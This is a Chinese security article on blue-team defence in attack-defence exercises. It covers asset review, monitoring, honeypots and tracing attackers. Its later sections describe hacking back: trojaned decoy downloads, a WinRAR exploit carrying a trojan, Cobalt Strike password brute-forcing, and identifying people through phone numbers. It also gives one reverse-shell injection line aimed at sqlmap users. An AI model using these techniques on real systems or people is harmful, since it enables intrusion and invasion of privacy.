蓝队的逆袭-蓝队防守流程&溯源与反制
前言
-
近些年国内不断地举行大大小小的网络安全攻防演习,目的在于加强各大组织机构的网络安防力量,提升国民网络安全意识,但每次都会传出一些“惨绝人寰”的消息:某某机构内网被攻击方打穿,被责令退赛整改;某某组织关键服务器被攻击方控制,对业务造成多恶劣的影响等等,诸如此类的事件层出不穷,红与蓝的对抗从未停息。
-
站在红队的角度,似乎他们有无穷无尽的攻击技巧可以使用:利用各种扫描器、社会工程学攻击、0Day炸弹、姜太公钓鱼等等,但是对于蓝队防守来说除了常规的封禁可疑IP、分析日志流量等“纯防守”操作以外,似乎已经黔驴技穷了。只要思维被“纯防守”所局限,安防基础较弱的厂商无论再怎么进行对抗准备,也终究逃脱不了成为韭菜的命运。
-
本文将总结蓝队在面对网络安全攻防时的准备措施与应对流程以及相关案例涉及的“反制”手段,文中不足之处还望指正。
一、蓝队防守思路总结
-
不知攻焉知防,如果企业安全部门不了解攻击者的攻击思路、常用手段,那么谈何有效的防守呢。站在攻击者的角度深度自查,最大可能的发现自身网络资产的脆弱点。 -
攻击者一般会在前期进行详细的信息收集,寻找可能的脆弱点,打开突破口、建立横向渗透的跳板;中期进行横向移动攻击内网关键业务系统,尽可能多地控制服务器或全面打击目标资产;后期进行痕迹隐藏,删除日志、工具清理、后门植入等操作。对于各个时期的应对措施大概总结为以下四个阶段:
第一阶段,不打无准备的仗
-
对于攻击方来说,收集的信息越详细,攻击的进行越顺利。俗话说知己知彼百战不殆,但是站在蓝方的角度,对于彼方的红队知之甚少,只能先做到“知己”,先行进行深度的自我排查。
(1)完全站在攻击方的角度对己方进行详细的信息收集,排查己方已暴露的网络资产,输出成表,责任到人。并尽可能减少资产暴露面以及关键信息的泄露,防止本单位敏感信息泄露在公共信息平台,互联网暴露面越多,越容易被攻击者“声东击西”。注意网站后台、老旧系统和端口一定不要开放在公网,防守方准备阶段一定要排查:开放在公网的网站管理后台、堡垒机、待上线的测试系统、无人维护的老旧系统等遗漏的缺乏防护措施的暴露资产。
(2)根据己方的网络拓扑进行攻击路径的梳理,由于企业网络结构可能会不断扩张,资产数量也会逐渐增加,往往会产生新的网络边界,防守方一定要定期梳理己方的网络边界、可能被当成跳板机的边界资产并予以重点关注,确定发现问题后的第一汇报人、负责人。严密保守企业内部的网络拓扑结构,安全部门应定期在相关信息披露平台搜索本单位敏感词,确认敏感信息泄露情况。
(3)在网络安全对弈中,受正面硬刚思维的影响,往往会忽略隐蔽入口的梳理,由于API接口、VPN、无线WIFI这些看似不起眼的小缝隙,往往是攻击者最喜欢的突破点,一旦突破危害极大,不容小觑。安全部门一定要梳理WEB服务的API隐藏接口、不再使用的VPN账号(如离职人员、测试账号等)、WIFI弱口令等,关闭指挥中心不必要的无线网络,并对现行开放的网络实施流量监控。
(4)安全意识的扎根,定期对内部员工及参与项目的外部人员进行安全意识培训,加强员工安全意识,来路不明的邮件附件不要随便点开,微信、QQ等社交软件未经身份确认不要随便添加,防微杜渐,最大程度限制攻击方能获取到的己方信息。
第二阶段,安全自测及管理机制确立
-
在技术方面:部署安全防护设备,并对边界与内网进行攻击自测,发现自身脆弱性;在管理方面,制定管理机制与应急预案,并预演通过。
(1)网络安全防护部署思路可以参考纵深防御理论,由于攻击方打开突破口后为了使利益最大化,很快会进行横向渗透并尽可能多的控制目标系统。那么在部署防护的时候要综合考虑:外网防护、内部访问控制ACL、服务器与个人PC防护、重点系统防护、无线网络防护、VPN防护甚至物理防护。通过铁桶般的防护,尽量减缓攻击者扩大战果的时间,变相减少己方损失。
(2)部署的安全设备包括但不限于:防火墙设备(硬件、软件)、全流量分析设备、WAF、IDS/lPS 等,这些安全防护设备最好能提早一星期落实到位,提早用于检测用户的网址发生的弱口令漏洞、Shiro反序列化漏洞等,明确责任,整改落实。在部署完成后,安排己方安全人员进行模拟渗透,在评估己方防护效果的同时检测安全设备的可用性。
(3)在模拟渗透过程中,对于发现的内外网脆弱点、应用系统脆弱点、第三方组件脆弱点、网络设备脆弱点、网络安全设备脆弱点、流程制度脆弱点、员工安全意识脆弱点等等,开展对应的漏洞修复、安全加固、权限调整、流程制度优化、重点培训等工作。确保比较常见的漏洞,如数据库弱口令、RDP弱口令、SSH弱口令、MS17-010等可以直接利用的高危漏洞一定不要存在。
(4)企业内部应当做好协调,确定联络名单,与各资产设备供应商统一渠道,实行金字塔架构管理,避免出现多人汇报多人指挥的混乱局面。对于需要重点保障的业务,实行双策略机制:一方面制定应急预案并预演评估,一方面适度增加攻击成本,让攻击方履维艰,知难而退。
第三阶段,实战阶段
-
经过前期的防护部署、攻击自测与整改后迎来了与攻击方的正式较量。
(1)全流量网络监控
-
任何攻击都会通过网络并产生网络流量,攻击数据有着独特的标识特征,通过全网络流量设备捕获攻击行为是目前最有效的安全监控方式。而分析研判人员需具备攻防技术能力与数据分析能力,熟悉网络和业务,能够根据监测的流量数据基本判断出攻击的有效性,遇可疑流量及时报告,协同进一步判断与处置,确保不漏报、少误报,为处置工作提供准确信息。
(2)全局性入侵检测
-
对全流量监控中涉事主机进行监控,通过部署合理的主机安全软件,结合网络全流量监控措施,可以更清晰、准确、快速地找到攻击者的真实目标主机,按照应急响应流程进行Web异常检测、服务异常检测、账号异常检测、文件异常检测、数据库异常检测等排查措施,确保主机的安全性。
-
对涉事系统日志进行监控,日志分析是防守方分析地方攻击路径的有效手段。攻击者攻击成功后,清理痕迹的首要目标就是删除日志,或者切断主机日志的外发,以防暴露。
-
高端攻击者往往会用0day或 Nday漏洞来打击目标系统,而对于未知0-Day漏洞的防御,可以借助APT相关网络安全设备,通过分析攻击的行为模式,发现部分利用0-Day漏洞展开的未知攻击,这在一定程度上能够提升对0-Day漏洞的发现概率,但无法杜绝0-Day漏洞的威胁。同时可通过与专业的安全厂商合作,建立漏洞通报机制,安全厂商将检测到的与防守单位信息资产相关的0-Day或N-Day漏洞快速通报给防守单位,进行应急整改。
(3)提高事件处置效率
-
按照应急预案与管理规定,确定攻击事件成功后,首要任务是在最短时间内采取遏制手段,防止横向蔓延。事件处置环节,应联合网络管理员、主机负责人、应用和安全相关的多个岗位人员协同处置。
(4)追踪溯源,全面反制
-
难道防守方只能被动防御,坐以待毙吗?在发现攻击事件后,防守队伍可根据各类安全防护设备产生的告警信息,结合各种情报系统追踪溯源。条件允许时,可通过各类反制措施反击红队(具体反制措施详见本文后续),做到追踪溯源、防守反制。
第四阶段,复盘整改,总结反思
-
网络攻防演习的结束并不意味着可以松一口气,而是标志着整改工作的开始,在整个攻防演习过程中多多少少肯定会存在考虑不周的地方,在实战工作完成后应对己方整体工作的不足进行全面的复盘分析,总结经验、教训。找出攻防演练各个阶段中的在人员调配,资产管理,安全防护,技术方案,安全意识等方面存在的纰漏和不足,并输出优化整改方案。对于攻防演练过程中涉及的重点系统(沦陷的或差点沦陷的)重点讨论,输出新的防御措施或加固手段。同时,还需要总结和优化己方具备的现有情报收集能力、反制技术、管理策略等,为下一次攻防演练提供保障。
-
网络攻防的对弈不是一次性的,目的是通过演练不断发现安全建设存在的问题,并进行改进和提升,不断打造更安全的应用系统。通过网络攻防演练积累的经验,将演习期间形成的安全运营机制、安全监测技术和应急响应策略等沿用至日常生活和工作中,提供高效、稳定、安全、持续的应用平台。
二、反制技术-蜜罐反制
1.蜜罐原理
-
现在的网络安全攻防对弈中,一些防守方想要取得一定的分数会采取蜜罐部署的方式。
-
蜜罐技术本质上是一种对攻击方进行欺骗的技术,通过布置一些作为诱饵的主机、网络服务或者信息,诱使攻击方对它们实施攻击;可以将蜜罐简单的理解为“预先设置好的包含漏洞的系统”,作用是引诱攻击者对系统进行攻击和入侵;相关对安全人员可以对攻击行为进行捕获和分析,了解攻击方所使用的工具与方法,推测攻击意图和动机;让防御方清晰地了解所面对的安全威胁,并通过技术和管理手段来增强实际系统的安全防护能力。
-
蜜罐的出现是为了解决网络攻防博弈中不对称的局面,通常网络安全设备都是主动监控并阻断攻击者的请求;而蜜罐则是另辟蹊径,通过部署没有业务用途的假诱饵,诱骗攻击者对其进行非法使用,对攻击行为进行捕获和分析,了解攻击工具与方法,推测攻击意图和动机。
-
利用蜜罐可以做到:获取攻击者的P(真实IP,代理IP等)、ID、操作系统、设备信息等,也可通过诱饵进行钓鱼反制。
-
在实战演习过程中,仍然有许多攻击者中招,蜜罐会将获取到的攻击流量信息汇总到终端进行监控,可以分析攻击方的主要攻击手段与IP等信息,采取反制措施。
2.蜜罐产品
-
对于蜜罐产品,各大安全厂商几乎都推出了独具特色的蜜罐,如知道创宇的创宇蜜罐、开源HFish多功能蜜罐。永信至诚推出的春秋云阵新一代蜜罐系统基于“欺骗式防御”理念,利用永信至诚独有的“平行仿真”技术和全量行为捕获技术,构建高甜度的蜜罐环境,诱捕攻击者进入仿真网络环境中,大大延缓攻击者对实际业务网络的攻击。
-
可以根据实际的网络规模以及业务需求选择合适的蜜罐系统。
3.蜜罐部署思路
(1)高交互性
-
注意所部署蜜罐的高交互性,例如部署邮箱服务类型的蜜罐,攻击者就有可能会进行邮箱注册,这样攻击者就有可能会主动留下了自己的身份信息,后续就可以进行邮箱溯源收集真实信息,对后续分析有很大帮助。
(2)数量压制
-
可以放置多个能轻易被发现的蜜罐,攻击者就会以适当当前所在环境是被蜜罐所包围的,就有可能放弃进行大规模攻击,利用逆向思维变相保护了蜜罐背后的真实核心系统。
(3)反向钓鱼
-
部署蜜罐时,利用蜜罐挂马,特意留几个文件下载链接,例如OpenVPN等程序客户端,并对正常程序进行木马植入,或者制作恶意的excel文档诱导攻击方下载,达到反向钓鱼的目的。
三、反制技术-溯源分析
1.针对IP溯源一二
(1)来自cdn 、云waf 等厂商节点流量ip
-
一般来说,红队大部分都是使用代理节点进行测试,假如我们捕获或者从样本里面分析拿到了真实的ip,或者使用反向钓鱼的方式获取到了真实ip,那么就可以常规溯源了。 -
假如真实ip前面还有一层云waf 、cdn厂商等,那么需要协调到提供服务的厂商,快速获取到云waf 或者cdn 之前的节点real_ip,此项操作难度会大一些。
(2)钓鱼邮件溯源
-
红队有时会采用钓鱼邮件的方式来进行攻击,一些安全意识薄弱的员工便会打开该邮件从而上钩,如果钓到了运维,并且运维电脑上存有未加密的公司服务器信息等,可以说差不多是沦陷。
-
攻击者在伪造钓鱼邮件时,有时出于疏忽,会泄露自己的邮件服务器地址,从而被溯源,查看邮件原文:
(3)whois ,域名反查
-
初步可进行 whois 查询, 以及域名反查,查看历史的的解析、以及历史的ip拥有记录,运气好的话,假如攻击队成员使用的是自己的博客之类的 vps 常用节点,那么很有可能通过这个手法进行溯源到相关人员,不过现在的域名几乎都是第三方注册,获取真实信息的情况比较少见了。
(4)探测端口,服务,进行反渗透vps
-
假如我们反渗透成功,那么可提取历史登入记录,历史ip,网络连接、进程、以及攻击工具、进程、内存镜像等方式进行取证分析。
(5)QQ,微信,抖音,陌陌,脉脉等接口
-
如若获取到了手机号,那么可通过qq 、微信、抖音、陌陌、脉脉等接口进行关联,一般而言获取到了手机号初步可通过这种简单易行的手法去溯源到红队人员。
2.威胁情报收集
威胁情报推荐地址:
-
https://x.threatbook.cn/
3.样本查询分析
在服务器发现了不明文件,对文件进行样本分析:
-
https://www.virustotal.com/
4.精准定位
锁定攻击方真实地理位置信息:(定位结果仅供参考)
-
https://www.ipuu.net/ -
https://chaipip.com/aiwen.html
四、反制技术-攻击工具反制
1.红队遗留工具溯源
-
倘若对方出于疏忽,服务器入侵结束后未清理上传至服务器中的相关工具文件等,就给蓝方溯源留下了可乘之机。
(1)一台被入侵的服务器,查找容易被入侵的几个文件夹(Temp/WWW等),发现目录下存在红队忘记删除遗留下自编译的工具:
(2)进入工具文件夹内,发现有关于github的文件,可能该工具在github内有项目:
(3)溯源查询,在Github搜索该工具名,找到工具作者,在gitHub作者详情看到对方有个人博客,并博客页面中发现邮箱信息:
-
当然这也不排除攻击者使用了他人开发工具的情况。
(4)如若运气够好,域名信息并不是第三方注册的话,就可以通过whois查询域名,查询到联系电话跟公司,可以再继续用电话查询到该用户的其他信息:
2.利用工具本身漏洞
-
倘若对方使用带有漏洞版本的攻击工具例如蚁剑、AWVS等,这时候可以使用RCE攻击对其进行反控(也可以尝试挖掘蚁剑、冰蝎、菜刀、BurpSuite、SQLmap、AWVS的0day漏洞,不过这需要一定的技术水平)。
(1)蚁剑RCE
-
蚁剑:高版本蚁剑上此漏洞已经被修复。
(2)AWVS 10
-
直接利用exp,等待对方主动扫描,自投罗网。
(3)还可利用CS、SQLmap等工具的功能特性进行反制,稍后介绍。
五、反制技术-反制红队服务器
1.通过SQLmap反制红队服务器
(1)在linux环境下,sqlmap常规的执行语句大多是:
sqlmap -u "http://sample.com/a=xxx&b=xxx" --data "postdata"
-
这样形式的语句执行,实际上都是在shell里执行bash命令。
-
这样形式的语句执行,实际上都是在shell里执行bash命令。 -
在bash命令中一些封闭的双引号中,具有特殊的含义。如果蓝队能够构造特殊的get或者post类型的注入点等待攻击者发现并通过sqlmap进行扫描。比如,此时通过特殊的注入点构造导致攻击者的服务器执行了系统命令。
(2)可以构造一个post请求测试页面:
(3)通过burp抓到的post数据包为:
-
通过sqlmap跑构造好的post请求包:
(4)命令成功执行:
-
可将post请求包中的command换成其他高危指令,结果可想而知:
command=shell`bash -i >& /dev/tcp/ip/port 0>&1`&port=6666
-
很多时候不能确保输入数据的安全性,尤其在使用sqlmap这种输入参数来源攻击目标的情况下,如果有人在获取的参数(包括get/post/cookie)上动了手脚,红队成员只是直接将数据包丢进sqlmap跑而不去看post数据包内容,那么就可能导致服务器被蓝队控制。
-
当然,这种利用bash特性的攻击方式,并不仅仅作用于sqlmap,可能也能用于其他依赖于linux命令行的执行程序。
2.通过Winrar反制红队
-
使用winRAR漏洞exp(WinRAR中用于ace文件解析的DLL模块中的绝对路径穿越漏洞,可导致远程代码执行)
(1)首先使用msf生成远控木马,修改exp,替换木马文件名:
(2)执行脚本,生成rar文件作为钓鱼红队的rar文件:
(3)部署钓鱼文件
-
可以为了其真实性和更好的迷惑红队队员,可以修改附属文件内容,修改成无关紧要的源码内容或者数据库连接信息等(主要起迷惑作用)。
-
可以将这个文件估计放置在网站的路径下,让红队队员自己扫描出来。
-
接下来开启MSF监听就可以静候佳音了。
(4)反杀上线
-
红队人员解压rar文件后会在特定路径生成exe文件,待电脑重启后便会自动运行。
3.反制红队cobalt strike服务器
(1)大致思路:
-
收集到某红队服务器真实IP后,对其进行端口扫描,开放的50050端口为cobalt strike默认端口。
-
基于cobalt strike的认证方式:
第一种:表面上用于保护套接字的身份验证的原始数据类型。
第二种:基于java序列化对象的身份验证,其中包括大部分为符号的用户名。
(2)使用脚本对CS服务端连接密码进行暴力破解。
-
成功连接上CS服务器后,如若发现有己方服务器上线,立即将会话remove,并对己方服务器进行排查。
(3)反制攻击
-
以一台windows机器作为反制红队服务器的攻击机,通过发送心跳包的方式进行木马假上线(注意需要与真实环境隔离,不可以自己送人头!)。
-
此时红队的cs服务器全部都是一直上线的信息,服务端几乎瘫痪,成功反制。
文末
-
未来的攻防对抗演习,蓝队不仅仅是只知道防守手段,而趋势将会慢慢的演变为真正的攻击与防御,不仅要会基本的防御手段,还要具备强劲的反击能力,与红队进行技术的硬碰硬,这对蓝队成员的攻防技术水平将会是更高级别的考验。
-
枯燥的从来不是事物,而是人的思维,只要思维变得活跃,一切都会随之有趣起来!
原文始发于微信公众号(i春秋):蓝队的逆袭-蓝队防守流程&溯源与反制